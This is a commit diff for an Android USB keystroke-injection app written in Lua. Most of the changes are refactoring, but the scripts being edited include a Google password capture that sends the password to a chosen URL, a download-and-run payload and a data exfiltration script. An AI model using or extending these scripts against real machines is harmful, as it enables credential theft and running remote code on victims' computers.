Skip to content

Commit 385a06b

Browse files
committed
usb: automatically detect hid minor
build: re-enable proguard app: improve logging and diagnostics
1 parent 9ea34ab commit 385a06b

28 files changed

+259
-268
lines changed

app/build.gradle

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ android {
1111
}
1212
buildTypes {
1313
release {
14-
minifyEnabled false
14+
minifyEnabled true
1515
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
1616
}
1717
}
@@ -33,14 +33,14 @@ dependencies {
3333
implementation 'com.google.android.material:material:1.12.0'
3434

3535
implementation 'org.luaj:luaj-jse:3.0.1'
36-
implementation 'androidx.appcompat:appcompat:1.6.1'
36+
implementation 'androidx.appcompat:appcompat:1.7.0'
3737

3838
implementation "com.github.topjohnwu.libsu:core:5.2.0"
3939
implementation "com.github.topjohnwu.libsu:service:5.2.0"
4040
implementation "com.github.topjohnwu.libsu:nio:5.2.0"
4141
implementation "com.github.topjohnwu.libsu:io:5.2.0"
4242

43-
implementation(platform("org.jetbrains.kotlin:kotlin-bom:1.8.0")) // ???
43+
implementation 'com.jakewharton.timber:timber:5.0.1'
4444
}
4545
repositories {
4646
mavenCentral()

app/proguard-rules.pro

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,7 @@
1616
# public *;
1717
#}
1818

19-
# This is generated automatically by the Android Gradle plugin.
19+
# This is generated automatically by the Android Gradle plugin.
20+
21+
-dontwarn javax.script.**
22+
-keepnames class org.luaj.vm2.** {*; }

app/src/main/assets/lib/common.lua

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,19 +15,18 @@ end
1515

1616
function wait_for_state(state)
1717
while luausb.state() ~= state do
18-
wait(100)
18+
wait(1000)
1919
end
2020
end
2121

2222
-- make it really obvious when a script is done running
23-
function done(kb)
23+
function flash(kb)
2424
kb:press(KEY_NUMLOCK)
2525

2626
wait(100)
2727
local lock
2828
while true do
2929
local val = kb:read_lock()
30-
print(val)
3130
if val == nil then break end
3231
lock = val
3332
end
@@ -37,8 +36,11 @@ function done(kb)
3736
if lock.caps_lock then kb:press(KEY_CAPSLOCK) end
3837
if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end
3938

40-
while true do
39+
local state = luausb.state()
40+
while luausb.state() == state do
41+
kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
42+
wait(50)
4143
kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
42-
wait(500)
44+
wait(950)
4345
end
4446
end

app/src/main/assets/scripts/chromeacct.lua

Lines changed: 8 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
---
44
require("common")
55

6-
kb = luausb.create({ id = 0, type = "keyboard" })
6+
kb = luausb.create({ type = "keyboard" })
77

88
-- This URL will be visited with the captured password appended to the end
99
local endpoint = prompt{
@@ -16,10 +16,7 @@ while true do
1616
print("idle")
1717

1818
-- poll until usb plugged in
19-
while luausb.state() == "not attached" do
20-
wait(1000)
21-
end
22-
19+
wait_for_state("configured")
2320
wait_for_detect(kb)
2421
print("running")
2522

@@ -30,7 +27,10 @@ while true do
3027
wait(2000)
3128

3229
-- navigate to login page
33-
kb:string("accounts.google.com\n")
30+
kb:string("accounts.google.com")
31+
-- get rid of any autofill that appears in the omnibar
32+
kb:press(KEY_DELETE)
33+
kb:press(KEY_ENTER)
3434
wait(2000)
3535

3636
-- autofill username and continue
@@ -66,10 +66,8 @@ while true do
6666
wait(1000)
6767

6868
print("done")
69-
-- poll until usb unplugged
70-
while luausb.state() == "configured" do
71-
wait(1000)
72-
end
69+
wait_for_state("not attached")
70+
7371
print("disconnected")
7472
end
7573

app/src/main/assets/scripts/composite.lua

Lines changed: 4 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,13 @@
55

66
require('common')
77

8-
kb1, kb2 = luausb.create({ type = "keyboard", id = 0 }, { type = "keyboard", id = 1 })
8+
kb1, kb2 = luausb.create({ type = "keyboard" }, { type = "keyboard" })
99

1010
while true do
1111
print("idle")
1212

13-
-- poll until usb plugged in
14-
while luausb.state() == "not attached" do
15-
wait(1000)
16-
end
17-
18-
wait_for_detect(kb)
13+
wait_for_state("configured")
14+
wait_for_detect(kb1)
1915
print("running")
2016

2117
-- send a string from keyboard 1
@@ -25,11 +21,7 @@ while true do
2521
kb2:string("kb2")
2622

2723
print("done")
28-
29-
-- poll until usb unplugged
30-
while luausb.state() == "configured" do
31-
wait(1000)
32-
end
24+
wait_for_state("not attached")
3325

3426
print("disconnected")
3527

app/src/main/assets/scripts/debug.lua

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
require('common')
22
local inspect = require('inspect')
33

4-
kb = luausb.create({ id = 0, type = "keyboard" })
4+
kb = luausb.create({ type = "keyboard" })
55

66
wait(1000)
77

app/src/main/assets/scripts/downloadrun.lua

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
require('common')
77

8-
kb = luausb.create({ id = 0, type = "keyboard" })
8+
kb = luausb.create({ type = "keyboard" })
99

1010
local file = prompt{
1111
message="Enter the URL for the file to download.",
@@ -20,10 +20,7 @@ while true do
2020
print("idle")
2121

2222
-- poll until usb plugged in
23-
while luausb.state() == "not attached" do
24-
wait(1000)
25-
end
26-
23+
wait_for_state("configured")
2724
wait_for_detect(kb)
2825
print("running")
2926

@@ -58,10 +55,8 @@ while true do
5855
)
5956

6057
print("done")
61-
-- poll until usb unplugged
62-
while luausb.state() == "configured" do
63-
wait(1000)
64-
end
58+
wait_for_state("not attached")
59+
6560
print("disconnected")
6661
end
6762

app/src/main/assets/scripts/exfiltrate.lua

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,19 @@
55

66
require('common')
77

8-
kb = luausb.create({ id = 0, type = "keyboard"}, {id = 0, type = "storage" })
8+
local LABEL = "COMPOSITE"
99

10-
local LABEL = "COMPOSITE" -- label of the drive (as assigned by you)
10+
kb = luausb.create({ type = "keyboard"}, { type = "storage", label = LABEL })
1111

1212
while true do
1313
print("idle")
1414

1515
-- poll until usb plugged in
1616
wait_for_state('configured')
17-
1817
wait_for_detect(kb)
18+
1919
print("running")
20+
wait(2000) -- wait in case explorer pops up
2021

2122
kb:chord(MOD_LSUPER, KEY_R)
2223
wait(1000)
@@ -26,8 +27,7 @@ while true do
2627
.. "computername'.txt'\"\n")
2728

2829
print("done")
29-
done(kb)
30-
wait_for_state('not attached')
30+
wait_for_state("not attached")
3131

3232
print("disconnected")
3333
end

app/src/main/assets/scripts/massstorage.lua

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
--- Simple mass storage device using default options
33
---
44

5-
_ = luausb.create({ id = 0, type = "storage" })
5+
_ = luausb.create({ type = "storage" })
66

77
while true do
88
wait(1000)

app/src/main/assets/scripts/mouse.lua

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,13 @@
11
---
22
--- Draw some cool circles using the mouse
33
---
4+
require('common')
45

5-
ms1 = luausb.create({ type = "mouse", id = 0 })
6+
ms1 = luausb.create({ type = "mouse" })
67

78
while true do
89
-- poll until usb plugged in
9-
while luausb.state() == "not attached" do
10-
wait(1000)
11-
end
10+
wait_for_state("configured")
1211

1312
t = 0
1413
s = 0.05

0 commit comments

Comments
 (0)